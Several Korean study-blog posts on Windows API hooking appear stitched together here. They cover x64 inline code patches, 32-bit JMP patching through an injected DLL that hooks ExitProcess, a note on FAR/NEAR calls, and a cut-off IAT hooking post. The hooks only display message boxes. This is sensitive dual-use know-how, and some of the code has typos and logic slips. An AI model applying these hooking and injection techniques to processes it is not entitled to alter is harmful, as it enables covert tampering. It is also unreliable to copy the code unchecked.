mov rax, address # "48 b8 000000 000000"
jmp rax # "ff e0"

# 세번째 방법 -> 14 바이트
push 4byte_low_address
mov dword ptr[rsp+4], 4byte_high_address
ret

# 네번째 방법 -> ?? 추후 업데이트
mov rax, address
call rax

1. JMP Instruction “FF 25”

1
2
0x00007FFF 00000001 'FF 25 00000000' JMP QWORD PTR ds:[7FFF00000007] # JMP QWORD PTR [RIP+addr0]
0x00007FFF 00000007 'XXXXXXXX XXXXXXXX' # 후킹 함수 주소

JMP Instruction 중에서 “FF 25 XXXXXXXX”를 이용하는 방법이다. FF25로 시작하는 JMP 명령어는 레지스터 RIP + offset(XXXXXXXX)을 더한 주소로 이동한다. 이를 통해서 RIP+offset(XXXXXXXX) 주소에다가 후킹 함수 주소를 넣으면, 후킹 함수로 이동할 수 있는 기법이다.


테스트 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include "Windows.h"
#include "stdio.h"

BYTE g_pOrgBytes[14] = { 0, };

BOOL hook(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
BYTE pBuf1[6] = { 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00 };
BYTE pBuf2[8] = { 0, };
PBYTE pByte;

// 후킹 대상 API 주소를 구한다
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 후킹되어 있다면 return FALSE
if (pByte[0] == 0xFF && pByte[1] == 0x25)
return FALSE;

// 기존코드 14바이트 백업 및 후킹 함수 시작 주소 구하기
memcpy(pOrgBytes, pfnOrg, 14);
memcpy(pBuf2, &pfnNew, 8);

// 14바이트 패치를 위하여 메모리에 Write 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Hook: 14바이트 패치
memcpy(pfnOrg, pBuf1, 6);
memcpy((LPVOID)((DWORD_PTR)pfnOrg + 6), pBuf2, 8);

// 메모리에 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);
}

BOOL unhook(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
PBYTE pByte;

// API 주소를 구한다.
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 이미 언후킹되어 있다면 FALSE
if (pByte[0] != 0xFF && pByte[1] != 0x25)
return FALSE;

// 기존 코드 14바이트를 덮어쓰기 위헤 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// unHook: 14바이트 패치
memcpy(pfnOrg, pOrgBytes, 14);

// 메모리 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);

return TRUE;
}

void MyMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
unhook("user32.dll", "MessageBoxA", g_pOrgBytes);
MessageBoxA(NULL, "Code Patch API Hooking", "Hook", MB_OK);
hook("user32.dll", "MessageBoxA", (PROC)MyMessageBox, g_pOrgBytes);
}

int main(int argc, char* argv[])
{
HMODULE module = LoadLibraryA("user32.dll");

hook("user32.dll", "MessageBoxA", (PROC)MyMessageBox, g_pOrgBytes);
MessageBEoxA(NULL, "Hello, World!", "Earth", MB_OK);
unhook("user32.dll", "MessageBoxA", g_pOrgBytes);
MessageBoxA(NULL, "Hello, World!", "Earth", MB_OK);


FreeLibrary(module);
return 0;
}

2. mov & jmp instruction

1
2
mov rax, address # "48 b8 000000 000000"
jmp rax # "ff e0"

64bit 값을 가질 수 있는 레지스터를 이용해서 레지스터에 후킹 함수 주소값을 집어넣고, JMP 명령어를 통해서 후킹 함수쪽으로 실행흐름을 바꾸는 방법이다.

어떤 레지스터를 사용할 것인지에 따라서 machine code는 달라질 수 있다. mov 명령어를 통해 immu64 값을 rax의 집어 넣는 machine code 는 “48 b8 XXXXXXXX XXXXXXXX” 이고, rax 레지스터 값으로 이동하는 JMP의 machine code는 “ff e0” 이다.


테스트 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include "Windows.h"
#include "stdio.h"

BYTE g_pOrgBytes[12] = { 0, };

BOOL hook(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
BYTE pBuf1[10] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
BYTE pBuf2[2] = { 0xff, 0xe0};
PBYTE pByte;

// 후킹 대상 API 주소를 구한다
GetModuleHandleA(szDllName);
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 후킹되어 있다면 return FALSE
if (pByte[0] == 0x48 && pByte[1] == 0xb8)
return FALSE;

// 기존코드 12바이트 백업 및 후킹 함수 시작 주소 구하기
memcpy(pOrgBytes, pfnOrg, 12);
memcpy(pBuf1+2, &pfnNew, 8);

// 12바이트 패치를 위하여 메모리에 Write 속성 추가
VirtualProtect((LPVOID)pfnOrg, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Hook: 12바이트 패치
memcpy(pfnOrg, pBuf1, 10);
memcpy((LPVOID)((DWORD_PTR)pfnOrg + 10), pBuf2, 2);

// 메모리에 속성 복원
VirtualProtect((LPVOID)pfnOrg, 12, dwOldProtect, &dwOldProtect);
}

BOOL unhook(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
PBYTE pByte;

// API 주소를 구한다.
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 이미 언후킹되어 있다면 FALSE
if (pByte[0] != 0x48 && pByte[1] != 0xb8)
return FALSE;

// 기존 코드 12바이트를 덮어쓰기 위헤 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pfnOrg, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// unHook: 12바이트 패치
memcpy(pfnOrg, pOrgBytes, 12);

// 메모리 속성 복원
VirtualProtect((LPVOID)pfnOrg, 12, dwOldProtect, &dwOldProtect);

}

void MyMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
unhook("user32.dll", "MessageBoxA", g_pOrgBytes);
MessageBoxA(NULL, "Code Patch API Hooking", "Hook", MB_OK);
hook("user32.dll", "MessageBoxA", (PROC)MyMessageBox, g_pOrgBytes);
}

int main(int argc, char* argv[])
{
HMODULE module = LoadLibraryA("user32.dll");

hook("user32.dll", "MessageBoxA", (PROC)MyMessageBox, g_pOrgBytes);
MessageBoxA(NULL, "Hello, World!", "Earth", MB_OK);
unhook("user32.dll", "MessageBoxA", g_pOrgBytes);
MessageBoxA(NULL, "Hello, World!", "Earth", MB_OK);


FreeLibrary(module);
return 0;
}

3. push & mov & ret instruction

1
2
3
push 4byte_low_address
mov dword ptr[rsp+4], 4byte_high_address
ret

64bit에서는 64bit 레지스터 값을 push할 수 있는 명령어는 있지만, immu64 값을 push 할수 있는 명령어가 없다. 따라서 스택에 후킹 함수를 주소를 집어 넣으러면 push 4byte_low_address를 넣고, mov dword ptr[rsp+4], 4byte_high_address를 통해서 rsp값에 후킹 함수 주소를 설정해야 한다. 그 이후 ret 명령어를 통해서 후킹 함수쪽으로 실행흐름을 바꾸는 기법이다.


테스트 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include "Windows.h"
#include "stdio.h"

BYTE g_pOrgBytes[14] = { 0, };

void hook(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
BYTE pBuf1[5] = { 0x68, 0x00, 0x00, 0x00, 0x00};
BYTE pBuf2[8] = { 0xc7, 0x44, 0x24 ,0x04, 0x00, 0x00, 0x00, 0x00 };
BYTE pBuf3[1] = { 0xc3 };
//PBYTE pByte;

// 후킹 대상 API 주소를 구한다
GetModuleHandleA(szDllName);
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
//pByte = (PBYTE)pfnOrg;

// 기존코드 14바이트 백업 및 후킹 함수 시작 주소 구하기
memcpy(pOrgBytes, pfnOrg, 14);
memcpy(pBuf1 + 1, &pfnNew, 4);
for (int i = 0; i < 4; i++)
pBuf2[i + 4] = (BYTE)((DWORD_PTR)pfnNew >> 32 + i * 8);

// 14바이트 패치를 위하여 메모리에 Write 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Hook: 14바이트 패치
memcpy(pfnOrg, pBuf1, 5);
memcpy((LPVOID)((DWORD_PTR)pfnOrg + 5), pBuf2, 8);
memcpy((LPVOID)((DWORD_PTR)pfnOrg + 13), pBuf3, 1);

// 메모리에 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);
}

void unhook(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect;
PBYTE pByte;

// API 주소를 구한다.
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 기존 코드 14바이트를 덮어쓰기 위헤 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pfnOrg, 14, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// unHook: 14바이트 패치
memcpy(pfnOrg, pOrgBytes, 14);

// 메모리 속성 복원
VirtualProtect((LPVOID)pfnOrg, 14, dwOldProtect, &dwOldProtect);

}

void MyMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
unhook("user32.dll", "MessageBoxA", g_pOrgBytes);
MessageBoxA(NULL, "Code Patch API Hooking", "Hook", MB_OK);
hook("user32.dll", "MessageBoxA", (PROC)MyMessageBox, g_pOrgBytes);
}

int main(int argc, char* argv[])
{
HMODULE module = LoadLibraryA("user32.dll");

hook("user32.dll", "MessageBoxA", (PROC)MyMessageBox, g_pOrgBytes);
MessageBoxA(NULL, "Hello, World!", "Earth", MB_OK);
unhook("user32.dll", "MessageBoxA", g_pOrgBytes);
MessageBoxA(NULL, "Hello, World!", "Earth", MB_OK);

FreeLibrary(module);
return 0;
}

참고자료

CALL - Call Procedure

JMP - Jump

PUSH instruction

API Hooking x86 x64

x64 Hooking

x86, x64 API HOOKING

Win32 API 후킹 - Trampoline API Hooking

Windows x64 binary 모듈 단위 이동

x64 Hooks

Assembly Challenge : Jump to a non-relative address without using registers

일명 나뭇잎 책이라고 불리는 리버싱 핵심 원리 책을 보면서, 배운 내용을 정리하는 포스팅입니다.

해당 포스팅에서는 API 후킹 방법중 하나인 코드 패치 내용 정리입니다.


API 코드 패치

API 코드 패치 기법은 프로세스 메모리에 로딩된 라이브러리 이미지에서 후킹을 원하는 API 코드 자체를 수정하는 방법을 말합니다. 이 기법은 API 후킹에서 널리 사용된다고 하는데, 그 이유가 대부분의 API를 후킹할 수 있기 때문이라고 합니다.

하지만 후킹하려면 API의 코드의 길이가 최소 5바이트보다 커야 한다고 합니다. 하지만 대부분의 모든 API의 코드 크기는 5바이트보다 크기 때문에 사실상 제한이 없다고 보면 됩니다.


API 코드 패치 동작 원리

IAT 후킹 방식이 프로세스의 특정 IAT 값을 조작해서 후킹하는 방식이라면, 코드 패치 방식은 실제 API 코드 시작 바이트가 JMP 명령어로 패치합니다. 후킹된 API가 호출되면 JMP 명령어가 실행되어 후킹 함수로 제어가 넘어오는 방식입니다.

이때, 사용되는 JMP 명령어의 Instruction을 살펴보면, “E9 XXXXXXXX” 형태라는 것을 알 수 있습니다. 해당 기법을 통해서는 32bit에서는 통하지만, 64bit에서는 통하지가 않습니다.

그 이유는 32bit에서는 가상메모리 공간이 4GB로서, 2GB는 커널 영역이 사용하고, 2GB는 유저 영역이 사용합니다. 이때, 32비트의 크기로는 2GB정도되는 영역을 왔다갔다 할 수 있습니다. 따라서 “E9 XXXXXXXX” 명령어로는 32bit에서는 충분히 사용을 할 수가 있습니다.

하지만 64bit에서는 가상메모리 공간이 일반적으로 16TB를 사용하고 있으며 최대 16EB 까지 사용이 가능합니다. 따라서 JMP 명령어의 Instruction “E9 XXXXXXXX” 으로는 커버를 할 수가 없습니다.

64bit에서는 이를 해결 하기 위해서 Instruction을 섞어서 사용하는 요령이 필요합니다. 해당 부분은 따로 포스팅 해서 업데이트를 할 예정입니다. 해당 부분은 x64 hooking - code patch 에서 보시면 됩니다.


분석

기본적으로 DLL 인젝션을 통해 API 후킹을 하기 위해서는 DLL Injector는 필요합니다. 어떤 DLL Injector를 사용해도 상관없습니다. 여기서 사용한 DLL Injector는 나뭇잎 책에서 제공하는 것을 사용했습니다.

여기서 후킹할 API는 MessageBox 입니다. MyMessageBox 를 만들어서 MeesageBox 후킹해서 MyMeesageBox로 실행흐름을 바꿔서 원하는 메시지 박스를 표시하도록 할 것입니다.

소스 코드를 보면서, 실습을 진행해봅시다.


DllMain()

실행 파일에서 늘 작성하던 main() 함수처럼 DLL 파일에서도 마찬가지로 늘 작성해야하는 DllMain() 함수가 있습니다. DllMain() 함수에서 늘 시작한다고 보면 됩니다.

후킹 하고자 하는 함수는 ExitProcess 입니다. 모든 프로세스에서 종료할 때, 이 함수를 이용합니다. 프로그램 종료만으로도 후킹 성공 여부를 확실하게 알 수 있기 때문에 해당 API를 선택했습니다.

제가 제작한 후킹 함수는 MyExitProcess 입니다. 해당 함수에서는 후킹 되었다는 메시지 박스를 표시하고 ExitProcess API가 정상적으로 호출되도록 작성을 했습니다.

DllMain() 함수에서는 DLL이 인젝션이 되면, Code Patch 기법을 이용해서 API의 실행흐름을 MyExitProcess 로 바꿉니다. DLL이 이젝션되면 ExitProcess의 본래의 실행흐름으로 복원합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hook("kernel32.dll", "ExitProcess", (PROC)MyExitProcess, g_pOrgBytes);
break;
case DLL_PROCESS_DETACH:
unhook("kernel32.dll", "ExitProcess", g_pOrgBytes);
break;
}
return TRUE;
}

코드를 보시면, DLL이 로딩될 때, kernel32.dll에서 ExitProcess API를 후킹 한다는 것을 볼 수 있고, DLL이 언로딩될 때 본래의 실행흐름으로 바꾸는 것을 볼 수 있습니다.


MyExitProcess 후킹 함수 구현

ExitProcess API를 대신 사용할 MyExitProcess 함수를 구현을 해야 합니다. 본래 ExitProcess API 대신 호출이 되는 것이기 때문에 함수 인자 같은 경우에는 동일하게 해줘야 합니다. 그래야지 MyExitProcess 함수를 호출하고 나서 정상적으로 ExitProcess API를 호출할 수 있습니다.

MyExitProcess 후킹 함수는 다음과 같습니다.

1
2
3
4
5
6
void WINAPI MyExitProcess(UINT uExitCode)
{
MessageBoxA(NULL, "API hooking - code patch", "hook", MB_OK);
unhook("kernel32.dll", "ExitProcess", g_pOrgBytes);
ExitProcess(uExitCode);
}

후킹 로직 구현

다음 부분은 코드 패치 기법을 이용하여 API를 후킹하는 hook() 함수입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
BOOL hook(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
PBYTE pByte;

// 후킹 대상 API 주소를 구한다
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;

// 만약 이미 후킹되어 있다면 return FALSE
if (pByte[0] == 0xE9)
return FALSE;

// 5바이트 패치를 위하여 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// 원본코드(5바이트) 백업
memcpy(pOrgBytes, pfnOrg, 5);

// JMP 주소 계산(E9 XXXXXXXX)
// XXXXXXXX = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);

// Hook: 5바이트 패치(JMP XXXXXXXX)
memcpy(pfnOrg, pBuf, 5);

// 메모리 속성 복원
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

return TRUE;
}

hook() 함수의 기능은 원본 코드 시작부분의 5바이트를 “JMP XXXXXXXX”명령어로 변경시켜서 코드의 실행 흐름을 바꿔서 후킹하는 것입니다. 후킹은 다음의 순서로 동작이 됩니다.

  • 후킹 대상 API 주소(ExitProcess)를 구한다.

  • 만약 이미 후킹이되었다면, 후킹을 하지 않는다.

  • 후킹 대상 API 메모리에 5바이트 패치를 위하여 메모리에 WRITE 속성을 추가한다.

  • 언훅을 할 때, 원본 코드를 복원하기 위해서 5바이트를 백업한다.

  • JMP 주소를 계산한다.

  • 후킹 대상 API 메모리에 5바이트 패치를 한다.(JMP XXXXXXXX)

  • 메모리 속성을 원래대로 복원한다.


여기서 중요한 부분은 JMP 명령어에 사용할 상대 주소 값을 어떻게 구하는 것 입니다. 점프할 위치 까지의 상대 거리 주소 값은 다음같은 방식으로 구할 수 있습니다.

XXXXXXXX = 다음 명령어 주소 - 현재 명령어 주소 - 현재 명령어 길이

여기서 명령어의 길이를 빼주는 이유는 CPU가 명령어 주소를 계산할 떄 다음같은 방식으로 구하기 때문입니다.

다음 명령어주소(IP) = 현재 명령어주소(IP) + relative_offset + 현재 명령어 길이

따라서 점프할 위치 까지의 상대 거리 주소 값을 구하기 위해서는 다음 명령어 주소 값에서 현재 명령어 주소 값을 뺴주고 현재 명령어 길이(5바이트)를 빼줘야합니다.

이러한 방식 말고도 절대주소로도 점프할 수 있습니다. (ex. “PUSH+RET”, “MOV+JMP”) 하지만 이러한 방식을 이용할 경우 명령어 길이가 늘어납니다. 64비트에서는 상대 거리 주소값을 이용해서 점프할 수 없기 때문에 어쩔 수 없이 절대주소로 점프하는 기법을 이용합니다.


언훅 동작 원리

다음 부분은 언훅을 하는 unhook() 함수입니다. 해당 함수에서는 원래 코드의 5바이트를 복원하는 것입니다. 아까전에 원본 코드의 5바이트를 저장한 것을 이용해서 후킹 대상 API의 주소에서 패치한 5바이트를 복원을 하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
BOOL unhook(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;

// API 주소를 구한다
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;

// 만약 이미 언후킹 되어있다면 return FALSE
if (pByte[0] != 0xE9)
return FALSE;

// 원래 코드(5바이트) 패치를 하기 위해서 메모리에 Write 속성 추가
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// unhook
memcpy(pFunc, g_pOrgBytes, 5);

// 메모리 속성 복원
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

}

실행


전체 소스 코드

#include "Windows.h"
#include "stdio.h"

BYTE g_pOrgBytes[5] = { 0, };

BOOL hook(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
    FARPROC pfnOrg;
    DWORD dwOldProtect, dwAddress;
    BYTE pBuf[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
    PBYTE pByte;

    // 후킹 대상 API 주소를 구한다
    pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pfnOrg;

    // 만약 이미 후킹되어 있다면 return FALSE
    if (pByte[0] == 0xE9)
        return FALSE;

    // 5바이트 패치를 위하여 메모리에 WRITE 속성 추가
    VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

    // 원본코드(5바이트) 백업
    memcpy(pOrgBytes, pfnOrg, 5);

    // JMP 주소 계산(E9 XXXXXXXX)
    // XXXXXXXX = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
    dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
    memcpy(&pBuf[1], &dwAddress, 4);

    // Hook: 5바이트 패치(JMP XXXXXXXX)
    memcpy(pfnOrg, pBuf, 5);

    // 메모리 속성 복원
    VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);

    return TRUE;
}

BOOL unhook(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
    FARPROC pFunc;
    DWORD dwOldProtect;
    PBYTE pByte;

    // API 주소를 구한다 
    pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pFunc;

    // 만약 이미 언후킹 되어있다면 return FALSE
    if (pByte[0] != 0xE9)
        return FALSE;

    // 원래 코드(5바이트) 패치를 하기 위해서 메모리에 Write 속성 추가
    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

    // unhook
    memcpy(pFunc, g_pOrgBytes, 5);

    // 메모리 속성 복원
    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

}


void WINAPI MyExitProcess(UINT uExitCode)
{
    MessageBoxA(NULL, "API hooking - code patch", "hook", MB_OK);
    unhook("kernel32.dll", "ExitProcess", g_pOrgBytes);
    ExitProcess(uExitCode);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        hook("kernel32.dll", "ExitProcess", (PROC)MyExitProcess, g_pOrgBytes);
        break;
    case DLL_PROCESS_DETACH:
        unhook("kernel32.dll", "ExitProcess", g_pOrgBytes);
        break;
    }
    return TRUE;
}

## 참고자료

[CALL - Call Procedure](https://www.felixcloutier.com/x86/call)

[JMP - Jump](https://www.felixcloutier.com/x86/jmp)

[API Hooking x86 x64](https://eram.tistory.com/entry/API-Hooking-x86?category=564239)

[x64 Hooking](https://shhoya.github.io/2019/03/27/64bitHook.html)

[x86, x64 API HOOKING](https://5kyc1ad.tistory.com/354)

[Win32 API 후킹 - Trampoline API Hooking](https://www.sysnet.pe.kr/2/0/1231)

[Windows x64 binary 모듈 단위 이동](https://ezbeat.tistory.com/453)

[x64 Hooks](http://sandsprite.com/blogs/index.php?uid=7&pid=235)

[Assembly Challenge : Jump to a non-relative address without using registers](https://rayanfam.com/topics/assembly-challenge-jump-to-a-non-relative-address-without-using-registers/)

FAR CALL, NEAR CALL ??

프로그래밍에서 CALL 이란 서브루틴 또는 서브 프로그램에 프로그램의 실행을 넘기는 것 또는 그 조작을 위해서 사용되는 명령어로서 생각을 하면 됩니다.

세그먼트 영역이 생겨나면서, 코드, 데이터등을 분리시켜서, 샌드박스화를 시켰을 때, 현재 세그먼트 영역을 벗어난 JUMP, CALL 명령어를 하기 위해서 생겨난 개념이라고 합니다.

여기서 세그먼트란 프로그램이나 메모리의 부분을 말하며, 프로그램의 경우는 주기억에 탑재하는 단위를 세그먼트라고 생각하시면 됩니다. 메모리의 경우는 하나의 주소 레지스터로 지정되는 메모리 영역을 말합니다.

세그먼트 외부의 세그먼트를 호출할 때는 FAR CALL을 사용하고, 세그먼트 내부에서 호출 할 때는 NEAR CALL을 사용합니다.

FAR CALL 과 NEAR CALL의 차이점

FAR CALL 과 NEAR CALL의 차이점은 CS(Code Segment Register)의 저장여부에 있습니다.

예를 들어, Kernel 구현시 CALL 0x0900:offset으로 넘기면, CS에 0x0900이 들어가게 됩니다. 그리고 CS에 들어간 주소가 복귀 주소가 되는데, 이 경우 FAR CALL을 뜻합니다. 반대로 CALL 0x0900 으로 하면 NEAR CALL을 뜻합니다.

즉, FAR CALL은 Stack에 CS:IP 값을 저장하고 지정된 곳으로 분기하는 상대 주소 지정 방식(Relative Address Mode) 입니다.

그리고 NEAR CALL은 Stack에 IP 값을 저장하고 지정된 곳으로 분기하는 간접 주소 지정 방식(Indirect Address Mode) 입니다.


참고문헌

https://m.blog.naver.com/PostView.nhn?blogId=eom913&logNo=113939652&proxyReferer=https%3A%2F%2Fwww.google.com%2F

일명 나뭇잎 책이라고 불리는 리버싱 핵심 원리 책을 보면서, 배운 내용을 정리하는 포스팅입니다.

해당 포스팅에서는 API 후킹중 IAT 후킹에 대한 내용 정리입니다.


IAT Hooking

이번 포스팅에서는 DLL 인젝션을 이용해서 IAT를 후킹해서 프로세스에서 호출되는 특정 API의 기능을 변경을 해보는 것을 할 것입니다.

API 후킹중에서 IAT 후킹 기법은 동작 원리와 비교적 구현이 간단한 것이 특징이라고 합니다. 단순히 후킹 하고 싶은 API를 사용자 DLL에 재정의하고 프로세스에 인젝션하면 끝입니다. 하지만, IAT에 실제 함수의 주소를 조작해서 함수 실행 흐름을 바꾸는 것이니 후킹을 원하는 API 대상 프로세스의 IAT에 존재하지 않다면 사용할 수 없습니다. 즉, 동적으로 DLL을 로딩해서 사용하는 API의 경우에는 해당 방법으로는 후킹을 할 수가 없다는 것입니다.


후킹 API 선정

어떤 작업을 할건지에 따라서 후킹 대상 API를 선정을 해야 합니다. 하지만 이것은 만만치 않은 작업입니다. 내가 조작하고 싶은 부분이 어떤 API를 통해서 작동되는지, 어떤 알고리즘을 통해서 작동되는지 파악하기 어렵기 때문입니다. 해당 부분은 개발/리버싱 경험이 많아야지 쉽게 선택할 수 있습니다.


IAT 후킹 동작 원리

IAT는 PE 파일을 공부했으면 알다시피 프로그램에서 호출되는 API들의 실제 주소가 저장이 되는 영역입니다. IAT 후킹이란 IAT에 저장된 API들의 실제 주소 값을 주소를 바꾸는 것입니다.

정상적인 프로그램 같은 경우에는 본래 호출하고자 했던 API를 호출하고, 함수 실행이 완료되면 돌아오는 것이 일반적입니다. 하지만 IAT 후킹을 당한 프로세스 같은 경우에는 본래 호출하고자 했던 API의 주소가 바뀌었기 때문에 후킹 API가 먼저 호출되고, 작업에 따라서 본래 API의 기능을 무시하고 새로운 기능을 만들 수 있고, 값을 조작할 수 있고, 여러가지 일을 할 수 있게 됩니다.

정리하자면, 타겟 프로세스에 후킹 DLL을 인젝션하고 타켓 프로세스의 IAT영역에서 API의 실제 주소 크기만큼만 변경하면 API 후킹을 할 수 있다는 말입니다.


분석

기본적으로 DLL 인젝션을 통해 API 후킹을 하기 위해서는 DLL Injector는 필요합니다. 어떤 DLL Injector를 사용해도 상관없습니다. 여기서 사용한 DLL Injector는 나뭇잎 책에서 제공하는 것을 사용했습니다.

여기서 후킹할 API는 ExitProcess 입니다. ExitProcess API 같은 경우에는 프로그램이 종료될 때 호출되는 API 인데, 대부분의 프로그램이 종료될 때 해당 함수를 호출합니다.

API 후킹을 통해서 MyExitProcess API를 만들고, 메시지 박스를 표시한 다음에 본래의 ExitProcess API를 호출하도록 실습을 할 것입니다.

소스 코드를 보면서, 실습을 진행해봅시다.


DllMain()

실행 파일에서 늘 작성하던 main() 함수처럼 DLL 파일에서도 마찬가지로 늘 작성해야하는 DllMain() 함수가 있습니다. DllMain() 함수에서 늘 시작한다고 보면 됩니다. DllMain() 함수에서는 다음과 같은 작업을 합니다.

DllMain() 함수에서는 DLL이 인젝션이 되면, original API를 어딘가에 저장을 하고 IAT 후킹을 통해서 Hooking API의 주소로 대체합니다. DLL이 이젝션 되면 original API의 주소를 가지고 와서 본래의 IAT로 백업을 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// original API 주소 저장
g_pOrgFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "ExitProcess");

// ntdll!RtlExitUserProcess() 를 hook!hooking() 로 후킹
hook_iat("kernel32.dll", g_pOrgFunc, (PROC)MyExitProcess);
break;

case DLL_PROCESS_DETACH:
// IAT를 원래 대로 복원
hook_iat("kernel32.dll", (PROC)MyExitProcess, g_pOrgFunc);
break;
}
return TRUE;
}

코드를 보시면, DLL이 로딩될 때, kernel32.dll에서 ExitProcess API의 주소를 가지고 와서 저장을 하고, hook_iat() 함수를 호출을 통해서 ExitProcess API를 후킹하는 것을 알 수 있습니다. 그리고 DLL이 언로딩될 때, IAT를 원래 대로 복원하는 것을 볼 수 있습니다.


MyExitProcess 후킹 함수 구현

